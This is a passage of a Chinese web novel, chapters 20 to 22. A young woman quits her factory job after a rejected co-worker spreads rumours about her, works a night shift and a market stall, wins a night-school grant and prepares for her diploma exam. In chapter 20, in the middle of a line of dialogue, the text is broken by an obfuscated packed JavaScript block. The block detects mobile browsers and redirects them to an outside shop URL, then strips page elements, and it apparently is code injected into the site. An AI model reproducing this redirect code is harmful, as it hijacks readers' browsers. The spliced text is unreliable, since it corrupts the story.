回到宿舍,晚星洗漱完,坐在书桌前,拿起冲刺班的复习资料,认真地看了起来。灯光下,她的侧脸格外专注,眼里闪烁着坚定的光芒。那些不愉快的过往,已经成为了过去式,她不再留恋,也不再悔恨。从今以后,她只会专注于自己的目标,一步步朝着想要的未来走去,用努力和坚持,书写属于自己的人生篇章。 而陈阳的报复之心,像一颗种子,在心底悄然发芽。晚星不知道,一场新的危机,正在悄然逼近。但此刻的她,已经不再是那个会被恐惧打倒的小女孩,她有勇气,有底气,更有并肩作战的朋友,无论未来遇到什么困难,她都能勇敢面对。 20. 第 20 章 清晨的厂区被一层薄纱似的薄雾裹着,流水线的机器尚未启动,更衣室与走廊里已挤满了往来的工友。晚星攥着工装外套,脚步匆匆地跟在张琪身后,刻意避开人群密集处——自昨日当众决裂后,她总觉背后有无数道目光在打量、探寻,那种如芒在背的不适感,像细密的针一样扎在身上。 “别管旁人怎么看,咱们专心干活,熬完这班就去冲刺班。”张琪察觉到她浑身紧绷的状态,轻轻撞了撞她的胳膊,低声安抚。晚星勉强点了点头,强迫自己收回纷乱的思绪,可刚踏入车间,不远处就飘来细碎的议论声,几道目光若有似无地黏在她身上。 “就是她吧?跟陈阳闹掰的那个,听说特能装。”“可不是嘛,陈阳都低声下气来道歉了,她还不依不饶,说白了就是矫情,玩欲擒故纵那一套呢。”“我听陈阳说,当初是她主动贴上去的,现在目的达到了想甩人,还故意把事情闹大博同情。” 那些话语像冰针似的扎进晚星耳朵里,她的脚步猛地顿住,指尖瞬间攥紧,指节泛白。张琪的脸色瞬间沉了下来,撸起袖子就要上前理论,却被晚星轻轻拉住。晚星摇了摇头,眼底掠过一丝难堪与怒火,却强行压了下去——她太清楚了,流言蜚语最是无孔不入,此刻争辩只会越描越黑,反倒让事情更糟。 不用想也知道,这些谣言定是陈阳散播的。他在众人面前丢尽颜面,又不敢明目张胆对晚星动手,便只能靠这种卑劣手段抹黑她、扭曲事实,将自己塑造成受委屈的一方,以此宣泄心底的怨毒。晚星深吸一口气,挺直脊背走到自己的工位前,试图将注意力集中在手头的零件上,可耳边的议论声总在不经意间飘来,扰得她心神不宁、指尖发颤。 没过多久,陈阳也走进了车间。他刻意绕开晚星的方向,却在路过几个工友身边时停下脚步,凑过去低声诉说着什么,语气里满是刻意装出来的委屈,还时不时抬眼瞥向晚星,引得那几个工友频频投来鄙夷、探究的目光。晚星将这一切尽收眼底,心底只剩下无尽的厌恶——她从未想过,陈阳竟卑劣到这种地步,连造谣中伤都做得如此明目张胆、毫无底线。 更让晚星糟心的是,车间里的李娟很快也加入了抹黑的行列。李娟和晚星同属一个工位组,平时就爱搬弄是非、嚼舌根,又嫉妒晚星干活麻利,还能挤时间上夜校追求上进,之前就总在背后说些酸溜溜的闲话。如今见陈阳带头散播谣言,晚星又成了众矢之的,便顺势跟风,四处添油加醋,巴不得把事情闹得更大。 “我就说她不是什么安分人,天天把自己收拾得干干净净,在流水线上混日子,心思根本就没在工作上。”李娟斜倚着货架,凑在几个女工友耳边嘀咕,声音却故意放大,刚好能飘进周围人的耳朵里,“陈阳条件多好啊,踏实能干,工资也不低,她还不知足,非要拿乔摆谱,我看就是想找个更好的,把陈阳当跳板呢。” 有工友面露疑惑:“可昨天我亲眼看见陈阳摔东西就走了,看着也不像受委屈的样子啊?”李娟立刻撇了撇嘴,故作高深地扬了扬下巴:“那是陈阳疼她、让着她,不想跟她一般见识。你们是没看见,陈阳为了给她道歉,特意早起去买她爱吃的桂花糕,结果被她当众甩脸子,换谁能不气?” 晚星握着扳手的手微微发抖,指甲几乎嵌进掌心,连骨缝里都透着寒意。她猛地转头看向李娟,眼神冷得像淬了冰:“李娟,说话要讲证据。我和陈阳的事,与你无关,轮不到你在这里添油加醋、歪曲事实。” 李娟没料到晚星会当众反驳,愣了一瞬,随即又嚣张起来,故意提高音量引来了更多工友围观:“我有没有歪曲事实,你自己心里清楚!大家都看着呢,陈阳都主动道歉了,你还不依不饶,不是矫情是什么?”她话锋一转,语气里满是恶意揣测,“说不定啊,就是你先招惹的陈阳,现在目的达到了想全身而退,还把自己摘得干干净净,装什么清纯玉女。” “你胡说八道!”张琪立刻冲上前,将晚星护在身后,怒目圆睁地瞪着李娟,“明明是陈阳试图强迫晚星,被拒绝后就散播谣言抹黑她,你跟着瞎凑什么热闹?是不是觉得晚星性子软,好欺负?” “我可没胡说,都是陈阳跟我说的。”李娟仰着下巴,有恃无恐地说道,“再说了,空穴来风未必无因,要是晚星自身没问题,陈阳怎么会平白无故说她?”围观的工友们议论得更凶了,有人面露同情地看向晚星,有人附和李娟的说法,还有人抱着看热闹的心态指指点点,车间里瞬间一片混乱。 就在这时,组长拿着生产报表走进车间,见众人围在一起喧闹,眉头瞬间拧成了疙瘩,厉声呵斥道:“都围着干什么?不用干活了?赶紧回到自己工位上!耽误了生产进度,这个月谁都别想拿全勤奖!” 工友们见状,纷纷散去,各自回到工位上忙活起来。李娟得意地瞥了晚星一眼,慢悠悠地走回自己的位置,还不忘回头递了个挑衅的眼神。晚星望着李娟的背影,又感受着周围工友若有似无的打量,心底的疲惫与绝望汹涌而上。她太清楚了,谣言一旦传开,就像泼出去的水,再难澄清,往后在这个厂区里,她只会被更多流言蜚语包裹,永无宁日。 一整天,晚星都浑浑噩噩的。流水线的机器轰鸣声不断,可她却像隔着一层厚厚的雾,听不真切、辨不清方向。手头的活计频频出错,好几次指尖都险些被机器伤到,组长路过时,看她的眼神里满是担忧,却也知她定有心事,并未多问。张琪一直守在她身边,时不时提醒她注意安全,低声说些安慰的话,可那些话语,终究难以驱散她心底的阴霾。 午休时,晚星没有像往常一样拿出习题册刷题,而是独自坐在车间楼下的长椅上,望着远处灰蒙蒙的天空发呆。她想起自己刚来时,虽然每天在流水线上重复着枯燥的活计,手脚被零件磨得发红,却始终充满希望——她想靠自己的努力攒钱,想通过夜校改变命运,想彻底摆脱流水线的束缚。可如今,这里却成了让她窒息的牢笼,陈阳的谣言、李娟的抹黑、工友的议论,像一张无形的网,将她紧紧困住,喘不过气。 “晚星,别想那些破事了,不值得。”张琪拿着两瓶水走过来,将其中一瓶塞进她手里,语气带着心疼,“陈阳和李娟就是小人,咱们犯不着跟他们一般见识。等拿到高中毕业证,考上自考,咱们就彻底离开这里,再也不回来了。” 晚星拧开瓶盖,喝了一口微凉的水,压下心底的酸涩,语气平静却带着前所未有的坚定:“张琪,我想辞职。” 张琪愣了一下,随即反应过来,连忙说道:“你想好了吗?辞职后咱们的生计怎么办?你还要上冲刺班,还要攒钱备考自考,没了稳定收入,压力会很大的。” “我想好了。”晚星点了点头,眼底闪过一丝决绝,“我在这里待不下去了,每天被那些谣言围着,根本没法安心工作,更没法专心复习。与其在这里受委屈、内耗自己,不如早点离开,找一份能让我安心做事的活计。” 她顿了顿,语气里多了几分笃定:“夜市摆摊虽然赚得不多,但时间自由,能兼顾冲刺班的课程。我手里还有一点积蓄,省着点花,应该能撑到拿到毕业证。等考完试,我再找一份稳定的兼职,慢慢攒钱准备自考。” 张琪看着晚星坚定的眼神,知道她早已深思熟虑,便不再劝说,只是重重地点了点头:“好,我支持你。不管你做什么决定,我都陪着你。要是钱不够,我这里还有一些积蓄,咱们一起扛。” 得到张琪的支持,晚星心里的底气更足了。她站起身,拍了拍身上的灰尘,眼底的阴霾散去不少,多了几分清亮:“谢谢你,张琪。我现在就去找组长递交辞呈。” 晚星来到组长的办公室,轻轻敲了敲门。“进来。”组长的声音传来,晚星推开门走进去,双手将早已写好的辞呈递过去,语气诚恳:“组长,这是我的辞呈,我想辞职。” 组长拿起辞呈,扫了一眼便愣住了,脸上当即露出惊讶的神色,放下手里的报表凑了过来:“辞职?晚星,你怎么突然想辞职了?你干活一直很认真,手脚麻利又踏实,是咱们组的骨干,我正打算跟上面申请给你涨工资呢,你再好好想想。” 晚星心里涌过一阵暖流,组长一直很照顾她,知道她要上夜校,偶尔还会特意给她调班,让她能按时去上课。她低下头,语气带着歉意:“谢谢组长的照顾和认可,我真的想好了。家里有点事需要处理,加上我想专心准备考试,实在没法再继续在这里工作了。” 她没有提及谣言的事,一来不想再纠缠那些不愉快,二来也不想给组长添麻烦。组长看着她,眼神里满是惋惜:“我知道你是个有想法、肯努力的孩子,上夜校、考文凭,都是为了以后能有更好的出路。可辞职不是小事,没了稳定收入,备考的压力会成倍增加,你再斟酌斟酌。” 组长放下辞呈,主动提出折中方案:“要不这样,我给你放半个月的带薪假期,你先回去调整心态,专心备考。等考完试,你再回来上班,岗位我一直给你留着,怎么样?” 晚星的眼眶微微泛红,心里满是感激,却还是摇了摇头,抬起头时,目光格外坚定:“谢谢组长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233589|197633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,您能这么为我着想,我真的很感动。但我还是决定辞职,我不想再回来了。”她语气诚恳而决绝,“我想彻底离开这里,斩断所有牵绊,专心追求自己的目标,哪怕苦一点、累一点,我也心甘情愿。” 组长看着她眼底不容置疑的决绝,知道再劝说也无用,只能轻轻叹了口气,语气里满是惋惜:“罢了,我也不拦你了。既然你已经决定了,我就尊重你的选择。你是个好员工,做事踏实、有韧劲,以后不管去哪里,都要好好干,别辜负了自己的努力。” “谢谢组长。”晚星深深鞠了一躬,心底的感激难以言表。组长拿起笔,在辞呈上签下名字,递还给她:“离职手续我会让人帮你代办,工资会在月底统一结算给你。以后要是遇到困难,或者想回来上班,随时都可以找我。” 晚星接过辞呈,郑重地点了点头,转身走出了办公室。阳光洒在她的身上,驱散了些许寒意,心里虽有对未来的忐忑,却更多的是解脱与坚定。她终于可以摆脱这个充满流言蜚语的地方,摆脱陈阳和李娟的纠缠,全身心投入到学习中,为自己的未来奋力一搏。 回到车间,晚星有条不紊地收拾好自己的东西,将工位打扫得干干净净,仿佛从未在这里待过。张琪走过来,轻轻拍了拍她的肩膀,低声问道:“都办好了?”晚星点了点头,脸上露出一抹释然的笑:“嗯,都办好了。从今天起,我就正式离职了。” 周围的工友们看到她收拾东西,纷纷投来异样的目光,议论声再次响起。李娟见状,又凑了过来,阴阳怪气地说道:“哟,这就走了?是觉得没脸待下去了吧?早知道这样,当初就别玩那些欲擒故纵的把戏,白费功夫。” 晚星没有理会她,只是淡淡地看了她一眼,那眼神里没有愤怒,只有全然的漠视。她拉着张琪,头也不回地走出了车间——从今以后,她和这个厂区,和陈阳、李娟这些人,再也没有任何关系,那些不愉快的过往,也该彻底翻篇了。 走出厂区大门,晚星深深吸了一口气,空气中没有了机器的油污味,也没有了流言蜚语的压抑,只剩下自由的气息。她抬头看向天空,阳光正好,微风不燥,连日来的阴霾仿佛被一扫而空。张琪笑着说道:“以后就自由了,咱们可以专心摆摊、复习,再也不用受那些人的气了。” 晚星点了点头,眼里满是憧憬:“嗯,以后咱们一起努力。等拿到高中毕业证,我就报名自考汉语言文学专业,你也好好想想自己想做什么,咱们一起为了未来打拼,再也不被这些糟心事牵绊。” 两人并肩往宿舍走,脚步轻快了许多,连背影都透着一股解脱后的轻松。虽然离职后生计会面临压力,冲刺班的课程也越来越紧张,但晚星心里却无比踏实。她知道,这是她摆脱过去、拥抱未来的第一步,哪怕前路充满坎坷,她也会带着勇气和信念,坚定地走下去。 而车间里,陈阳得知晚星辞职的消息后,脸上勾起一抹阴狠的笑,眼底藏着未散的怨毒。他天真地以为,晚星是被谣言逼得走投无路,是向他妥协认输了,心底的怨毒稍稍消散了一些,却依旧没有放弃报复的念头——他暗暗发誓,就算晚星离开了厂区,也绝不会让她过得安稳,这笔账,他迟早要算。 李娟则有些失落,没了晚星这个“话题中心”,她便少了很多嚼舌根的乐趣,只能悻悻地回到工位上干活,嘴里还小声嘀咕着什么。周围的工友们议论了一阵,见没了新的话题,也渐渐将注意力放回了工作上,那些关于晚星的谣言,终究会随着她的离开,慢慢被时光冲淡。 回到宿舍,晚星将自己的东西一一整理好,看着空荡荡的工位(此处应为“床位”,修正原文笔误),心里没有丝毫留恋。她拿出冲刺班的复习资料,坐在书桌前,聚精会神地看了起来。灯光下,她的侧脸格外专注,眼里闪烁着对未来的坚定光芒,每一道目光都透着破釜沉舟的决绝。 她知道,离职只是一个新的开始,接下来的日子会更加辛苦——白天要去夜市摆摊赚钱,晚上要去上冲刺班,还要挤时间复习刷题。但她不怕,她有张琪的陪伴,有明确的目标,还有重新出发的勇气。她坚信,只要自己坚持不懈地努力,就一定能摆脱困境,一步步靠近自己想要的生活。 夜色渐深,宿舍里格外安静,只有笔尖划过纸张的沙沙声,清晰而坚定。晚星放下笔,揉了揉有些发酸的眼睛,看向窗外的星空。她知道,从递交辞呈的那一刻起,她的人生就翻开了新的篇章,那些不愉快的过往,都将被她远远抛在身后,迎接她的,是充满希望与无限可能的未来。 21. 第 21 章 清晨六点的惠民小区还沉在未散的寂静里,窗外的梧桐叶被露水浸透,泛着清冷的微光。晚星顶着浓重如墨的黑眼圈从床上坐起,后背的酸痛顺着脊椎缓缓蔓延,每动一下都牵扯着紧绷的肌肉——昨夜刚熬完便利店的通宵夜班,只囫囵眯了三个小时就被生物钟唤醒,墙角还堆着用塑料布裹得严严实实的货物,今天依旧要去夜市出摊。 “慢点起,别磕着。”张琪端着温热的洗漱水走进来,目光落在她苍白如纸的脸颊上,语气里的心疼藏都藏不住,“跟你说过多少次,别把自己逼得这么狠,夜班最熬人,白天还要跑夜市,身体迟早会扛不住的。” 晚星揉了揉发胀发沉的太阳穴,扯出一抹勉强却温和的浅笑:“没事,熬过去这阵就好了。便利店夜班工资日结,加上摆摊的收入,才能凑够这个月的房租和夜校学费。”她一边说话一边撑着床头起身,指尖还残留着夜班理货时磨出的薄茧,掌心层层叠叠的红肿的印记,是从前在电子厂握扳手、如今搬货物留下的,每一道都刻着底层打拼的艰辛。 离职后的这些日子,晚星把时间排得密不透风,连喘息的间隙都极少。她在小区附近的24小时便利店寻了份夜班兼职,从凌晨十二点干到清晨六点,每天一百二的日结工资,能最快缓解手头的拮据;早上回到宿舍稍作休整,便马不停蹄赶去批发市场进货——大多是成本低廉的小饰品、棉袜和手机壳,打包成沉甸甸的包裹扛去夜市,从下午五点守到晚上十点,赶在夜校放学前匆匆收摊,再飞奔去学校补抄白天落下的笔记。 整理货物时,晚星翻出了昨天剩下的几双棉袜,边角带着细微的磨损,是批发市场挑剩下的尾货,进价便宜却格外难卖。她细心地将袜子叠得方方正正,放进收纳盒最底层,心里暗暗盘算:今天去夜市得把这些低价处理掉,再进些款式新颖的小熊手机链,年轻人偏爱这类小物件,周转也快些。 “我今天下班早,陪你去摆摊。”张琪帮她把货物挨个塞进双肩包,又顺手往包里塞了两个全麦面包和一盒热牛奶,语气带着不容拒绝的关切,“夜班耗损体力,白天再凑活吃饭,真要病倒了,反倒耽误事。” 晚星心里一暖,轻轻点了点头。离职后,张琪总在默默陪着她,要么替她守摊让她眯一会儿补觉,要么把自己做的热饭分她一半,这份无需言说的情谊,是她咬牙坚持下去的底气。两人并肩走出宿舍,清晨的凉风卷着露水打在身上,晚星忍不住打了个寒颤,连忙裹紧外套,脚步却依旧格外坚定——比起在电子厂被谣言裹挟、浑身不自在的日子,这份辛苦却自由的生活,反倒让她觉得踏实安稳。 上午的时光被进货和短暂休整填满。晚星跟着批发市场的老主顾学着砍价,从最初的羞于开口、面红耳赤,到后来能精准报出每种货物的底价,哪怕只省下一块钱,也格外珍惜。回到小区后,她将货物按品类分类、定价,用马克笔在硬纸板上一笔一划写好价格,字迹工整清秀,像她这个人一样,透着股不服输、不将就的韧劲。 下午四点半,晚星和张琪准时赶到夜市。夕阳将摊位前的地面染成暖融融的橘黄色,两人迅速铺开防水布,把饰品、棉袜一一摆好,刚收拾妥当,就有几位放学路过的学生驻足观望。晚星学着其他摊主的样子,轻声招呼着,语气带着几分生疏却足够真诚:“同学,过来看看吧,都是平价小饰品,质量很靠谱的。” 夜市的生意时好时坏,周末客流多的时候,一晚上能卖两百多块;若是工作日或是遇上阴雨天,有时候几十块都卖不到。今天是周三,往来的客人不算多,晚星守在摊位前,趁着没人的间隙拿出冲刺班的习题册,借着旁边摊位的暖光刷题,笔尖在纸上快速移动,偶尔听到脚步声便抬头招呼顾客,眼神里满是专注与笃定。 “姑娘,这手机链怎么卖?”一位带着小孩的大姐停下脚步,指着一串软胶小熊手机链,语气温和地问道。 “五块钱一条,两条八块。”晚星立刻放下习题册,笑着介绍,指尖轻轻碰了碰手机链,“这个是软胶材质的,不怕摔,小孩拿着玩也安全。” 大姐犹豫了片刻,最终挑了两条不同颜色的,付钱时多看了晚星两眼,语气里满是赞许:“这么年轻就出来摆摊,还不忘看书学习,真是不容易,以后肯定有出息。” 晚星不好意思地笑了笑,没再多说,将钱小心翼翼地放进帆布包里。包里装着她这几天的全部收入,一张张零钱被叠得整整齐齐,每一分都是熬夜、奔波换来的血汗钱,容不得半点浪费。 晚上九点多,夜市的人流渐渐稀疏,晚风突然大了起来,卷起地面的灰尘,迷得人睁不开眼。张琪连忙帮她把货物往包里塞,语气带着几分焦急:“看这天色要下雨,咱们得快点收拾,别被雨淋了。” 两人刚把货物收拾妥当,豆大的雨点就噼里啪啦地落了下来,砸在伞面上发出沉闷的声响。她们并肩走在雨幕里,雨水很快打湿了裤脚,冰凉的触感顺着脚踝往上蔓延。晚星扛着沉甸甸的双肩包,脚步有些踉跄,连续半个月的熬夜与奔波,早已让她的体力透支到极限,全凭着一股不服输的韧劲硬撑着。 回到宿舍时,两人都成了落汤鸡。晚星快速洗漱完毕,换上干净的衣物,来不及吹干湿漉漉的头发,就坐在书桌前翻开习题册,继续攻克白天没刷完的题目。台灯的暖光晕落在她脸上,映出眼底浓得化不开的疲惫,却丝毫挡不住眼神里的坚定。她清楚地知道,夜校的课程越来越紧张,下个月就要进行模拟考试,绝不能因为兼职奔波而落下功课——这是她摆脱底层困境、改变命运的唯一出路。 凌晨十一点半,晚星准时出门赶往便利店上班。夜色深沉如墨,马路上只有零星的车辆驶过,路灯将她的影子拉得忽长忽短。便利店坐落在小区门口的十字路口,面积不大却五脏俱全,货架上整齐摆满了零食、日用品和烟酒,收银台后方的墙上贴着夜班工作流程:理货、收银、清洁卫生、定时检查监控,每一项都标注得清清楚楚。 “来了?”值班店长刘哥是个四十多岁的男人,为人随和,见她进来,递过一件干净的工装外套,“今天晚上新到的货不多,理完货架就守着收银台就行,后半夜人少,实在困了能眯个十几分钟。” “谢谢刘哥。”晚星接过外套穿上,立刻投入到工作中。她弯腰将纸箱拆开,把新到的饮料、零食一一摆上货架,严格按照保质期远近分类摆放,高处的货架够不到,就搬来小凳子踮着脚往上放,后背的酸痛再次翻涌上来,她咬了咬牙强忍着,额头上渗出细密的汗珠,顺着脸颊缓缓滑落。 后半夜两点多,便利店迎来了一波小客流——大多是下班的工人和晚归的年轻人。晚星站在收银台后,动作熟练地扫码、收钱、找零,脸上始终维持着温和的笑容。期间有个醉汉前来买酒,语气粗鲁还故意刁难,借着酒劲胡言乱语,晚星压下心底的不适与慌乱,耐心地沟通应对,直到醉汉拿着酒骂骂咧咧地离开,她才轻轻舒了口气,指尖因为过度紧张而微微发颤。 “别往心里去,这种人夜班常遇到。”刘哥看出了她的窘迫,端来一杯温热的白开水递过去,语气里满是开导,“干服务行业就这样,什么人都能碰到,优先保护好自己就行,没必要硬扛。” 晚星接过水杯,双手紧紧捧着,暖意顺着指尖一点点蔓延到全身,驱散了些许寒意与委屈。她轻轻点了点头,声音柔和却坚定:“我知道了,谢谢刘哥。” 清晨六点,夜班终于结束。晚星从刘哥手里接过当天的工资,一百二十块钱被揉得有些皱,却格外沉甸甸。她走出便利店,天边已泛起淡淡的鱼肚白,晨雾弥漫在空气中,带着雨后的清新凉意。她没有立刻回宿舍,而是绕到小区门口的早餐摊,买了两个热包子和一杯现磨豆浆——这是她一天里最踏实的一顿饭,吃完就能回宿舍睡上几个小时,下午还要继续赶去夜市出摊。 这样连轴转的日子一晃就过了半个月,晚星的脸色越来越差,眼底的黑眼圈重得像涂了墨,连带着上课的时候也常常走神。那天下午是语文课,授课的王老师是夜校的资深教师,教龄多年,为人温和宽厚,对努力上进的学生格外关照,晚星的作文更是常常被她当作范文在班里朗读,两人之间多了几分亦师亦友的亲近。 课堂上,王老师正细致讲解着作文立意技巧,目光缓缓扫过全班,不经意间就瞥见了趴在桌子上走神的晚星。她没有立刻叫醒她,直到下课铃响起,才轻手轻脚地走到晚星身边,温柔地拍了拍她的肩膀:“晚星,醒醒了。” 晚星猛地惊醒,揉了揉惺忪的睡眼,看清眼前的人是王老师,脸上立刻泛起愧疚的红晕,连忙站起身道歉:“王老师,对不起,我上课走神了,耽误您讲课了。” 王老师示意她坐下,自己则坐在她对面的空位上,目光落在她苍白的脸色和浓重的黑眼圈上,语气里满是担忧:“你最近状态很不好,上课总是走神,脸色也差得很,是不是遇到什么难处了?要是有心事,不妨跟老师说说。” 晚星抿了抿唇,犹豫了片刻,终究还是卸下了心防,把自己从电子厂离职、兼职便利店夜班、夜市摆摊凑学费房租的事一五一十地告诉了王老师。她没有刻意抱怨,只是平静地陈述着现状,语气里没有半分委屈,只有一种坦然接受、奋力坚持的坚韧:“我就是想多赚点钱,把学费和房租凑够,不想因为生计耽误学习。” 王老师听完,心里满是心疼。她早就看出晚星是个肯吃苦、有韧劲的孩子,家境普通却从不消沉,上课认真刻苦,作业也完成得格外出色,却没想到她背后要承受这么大的压力。“傻孩子,你这么熬下去,身体迟早会垮的。”王老师轻轻叹了口气,语气温和却笃定,“夜校有专门的助学金,就是针对家庭困难、努力上进的学生设立的,你完全符合条件,老师帮你申请。” 晚星愣了一下,眼里满是惊讶与难以置信,声音都带着几分颤抖:“助学金?真的有吗?”她这些日子只顾着埋头赚钱,一门心思扑在兼职和学习上,根本没留意过夜校的福利政策,从未想过自己还能有这样的机会。 “当然是真的。”王老师笑着点了点头,眼神里满是欣慰,“助学金一个学期有两千块,虽然不算多,但足够缓解你的经济压力,你也不用再这么拼命地兼两份职了。”她顿了顿,又补充道,“我明天就帮你整理申请材料,提交上去,大概一周就能有结果。” 晚星的眼眶瞬间泛红,积压了半个月的疲惫、委屈与焦虑,在这一刻被突如其来的温暖彻底包裹,泪水在眼眶里打转,却强忍着没掉 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从学校回到宿舍,晚星的心情格外轻松,压在心头的巨石仿佛被挪开了大半。她把助学金的事告诉张琪,张琪比她还激动,一把抱住她欢呼:“太好了!这样你就不用再熬通宵夜班了,身体也能慢慢养回来。” 那天晚上,晚星特意停了摆摊和兼职,早早地就上床休息了。这是她离职后睡得最安稳的一觉,没有闹钟的打扰,没有体力透支的疲惫,梦里都是拿到助学金、换了轻松兼职的温暖场景,连呼吸都格外轻快。 接下来的几天,晚星依旧按时去便利店上班、夜市摆摊,心态却发生了很大变化,脸上的笑容多了,眉宇间的焦虑也渐渐消散。她不再像之前那样紧绷着神经,对待学习也更有精力,上课的时候再也没有走神,笔记记得格外认真,遇到不懂的问题,还会主动找王老师请教,学习状态越来越好。 一周后,王老师准时给晚星带来了好消息——助学金申请顺利通过,钱已经打到了她的银行卡上。晚星拿着手机,看着银行卡里新增的两千块钱,手指微微颤抖,心里满是感激。她立刻给王老师发了条信息,再次表达谢意,很快就收到了王老师的回复:“不用谢,这是你应得的。超市兼职的事我问过了,对方让你下周一去面试,地址和联系方式我发给你。” 晚星看着信息,眼里满是憧憬与期待。她立刻翻出自己的简历,这份简历是之前在电子厂上班时整理的,后来又补充了夜校的学习经历,字迹工整、内容简洁,清晰地记录着她的过往与努力。张琪帮她从衣柜里挑了一件干净的白色衬衫,笑着鼓励她:“肯定能面试上的,你这么踏实能干,又肯吃苦,超市店长肯定喜欢你。” 面试前一天,晚星特意请了一天假,没有去兼职也没有摆摊。她在家认真梳理了面试可能会遇到的问题,反复练习自我介绍,又把衬衫洗干净、熨得平平整整,头发也梳得一丝不苟。她清楚地知道,这份兼职对她而言至关重要,不仅能让她摆脱熬夜的痛苦,还能有更多时间专注于学习,离自己的梦想更近一步。 面试当天,晚星提前半小时就赶到了超市。这家连锁超市规模不小,店内货架排列整齐,货品齐全,客流稳定,比她想象中还要好。面试她的是超市店长,一位和蔼可亲的中年女人,没有问太多复杂的问题,只是询问了她的基本情况、兼职时间以及过往的工作经历,晚星都一一如实回答,语气诚恳、态度认真,眼神里满是真诚。 “你之前在电子厂上班,还坚持上夜校学习,看得出来很努力、很踏实。”店长看着她的简历,满意地点了点头,“我们这里就需要你这样手脚麻利、认真负责的人,你符合我们的要求,明天就可以来上班了。工资一个月三千五,每月带薪休假两天,工作时间从上午九点到下午六点,完全不耽误你晚上上课。” 晚星心里一阵狂喜,压着激动的心情连忙起身道谢,语气坚定:“谢谢店长,我一定会好好干的,绝不辜负您的信任。” 走出超市,温暖的阳光洒在身上,驱散了所有的疲惫与不安。晚星拿出手机,第一时间给王老师和张琪发了消息,告诉她们自己面试成功的好消息。两人很快就回复了她,满是祝福与欣慰。晚星抬头望向湛蓝的天空,嘴角扬起一抹释然又明媚的笑——那些难熬的日子终于要过去了,有了助学金的支持,有了稳定的兼职,她终于可以卸下沉重的负担,专心朝着自己的目标奋力前行。 当天晚上,晚星去便利店办理了离职手续。刘哥得知她找到了更合适的兼职,由衷地为她高兴,特意嘱咐道:“以后好好干,别再这么熬自己了,年轻人身体是本钱,照顾好自己。”晚星用力点了点头,心里满是感激。回到宿舍后,她把夜市的货物一一整理好,一部分送给了张琪,一部分低价处理给了相熟的摊主,从此再也不用顶着风雨摆摊,也不用熬通宵夜班,平淡的日子终于迎来了转机。 夜色渐深,宿舍里格外安静。晚星坐在书桌前,翻开复习资料,指尖轻轻划过纸张,眼神格外坚定明亮。她知道,这只是新的开始,未来的路还很长,自考的难度也不小,但她不再害怕。有张琪不离不弃的陪伴,有王老师的悉心关照,有稳定的兼职支撑,她有足够的勇气和底气,去面对所有的困难与挑战,去追逐自己的梦想——摆脱流水线的束缚,成为一名文字工作者,过上自己想要的生活。 22. 第 22 章 超市打烊的铃声清脆响起时,晚星正蹲在货架旁整理临期商品,指尖飞快地核对日期、分类打包,额角渗出的薄汗被穿堂晚风轻轻拭去。入职超市已有两月,她早已熟稔了这里的工作节奏,上午九点到下午六点的工时恰好不耽误夜校补漏,每月三千五的工资叠加助学金,不仅能从容覆盖房租与生活费,还能慢慢攒下一笔自考资料费。比起从前连轴转的熬夜时光,这份安稳踏实的日子,让她格外珍视。 “晚星,剩下的活让保洁阿姨收尾就好,你赶紧回去休息,明天还要考试呢。”店长握着钥匙走近,目光落在她眼底淡去却未散尽的黑眼圈上,语气满是体恤,“这段时间看你天天揣着复习资料,一有空就背,肯定准备得足足的,放宽心考就好。” 晚星直起身,用袖口擦了擦手上的灰尘,笑着点头:“谢谢店长,我这就走。”她背上装着复习册的双肩包,脚步轻快地走出超市,初夏的晚风裹着草木的清香,吹得路边梧桐叶沙沙作响。明天,就是高中毕业证的最终考核,涵盖语文、数学、英语三门主干课,是她熬了无数个夜晚、挤了无数个碎片时间奋力备战的终点,也是她逆袭之路的重要一站。 回到宿舍时,张琪正守着小锅给她热晚饭,餐桌上摆着一碟清炒青菜、一碗杂粮饭,还有一个煮得溏心恰到好处的鸡蛋。“快吃吧,特意给你留的,补补脑子,明天才有十足精神应考。”张琪把温热的碗推到她面前,顺手拿起她的复习册翻了翻,语气笃定,“这些题你都刷三遍了,知识点早刻在脑子里了,肯定没问题,别给自己瞎加压。” 晚星捧着温热的饭碗,暖意漫过心头。这两个月来,张琪总变着法子给她调理身体,知道她复习耗神,每天都留一盏灯等她归来,偶尔还陪着她熬夜背知识点、划重点。她扒了一口饭,含糊地开口:“我就是有点紧张,怕辜负了之前熬的那些夜、受的那些苦。” “怎么会辜负?”张琪坐在她对面,语气里满是笃定与心疼,“你从电子厂离职后,摆摊挨过风雨,熬夜兼职受过委屈,却从来没落下过学习,连吃饭都在默念单词、记公式,这些我都看在眼里、记在心里。再说还有王老师帮你精准划重点,你要是考不过,才真是没道理。”话落,两人相视而笑,连日来的紧绷感在欢声笑语中消散大半。 当晚,晚星没有熬夜刷题,只躺在床上,将各科的重点框架在脑海里过了一遍,便早早睡下。睡前她摸了摸枕头下的准考证,硬挺的纸张触感让她格外踏实——从踏入夜校的那天起,这张毕业证就成了她摆脱底层困境的第一块敲门砖,她每一步的奔波与坚持,都在朝着这个目标稳步靠近。 第二天清晨,晚星穿上那件洗得发白却干净平整的白色衬衫,梳了个利落的马尾,手里紧紧攥着准考证和文具,提前半小时抵达了考点。考点设在一所公办中学,校门口挤满了和她一样的夜校学生,有人低头紧张翻着笔记,有人互相拍肩打气,每个人的眼神里都藏着对未来的热切期许,也藏着背水一战的忐忑。 “晚星!”熟悉的声音穿透人群传来,晚星转头望去,王老师正朝着她挥手,手里还攥着几份手写的易错点清单,“快拿着,最后再过一遍,别慌,正常发挥就够了。” 晚星快步挤过去,双手接过清单,指尖因激动微微颤抖:“谢谢王老师,麻烦您特意跑一趟,太费心了。” 王老师轻轻拍了拍她的肩膀,眼神里满是不容置疑的信任:“我对你有信心。记住,这只是你成长路上的一个起点,拿到毕业证后,自考的路还要稳稳走下去,别停下向前的脚步。”晚星用力点头,将老师的叮嘱刻进心里,这份沉甸甸的信任,成了她考场上最坚实的底气。 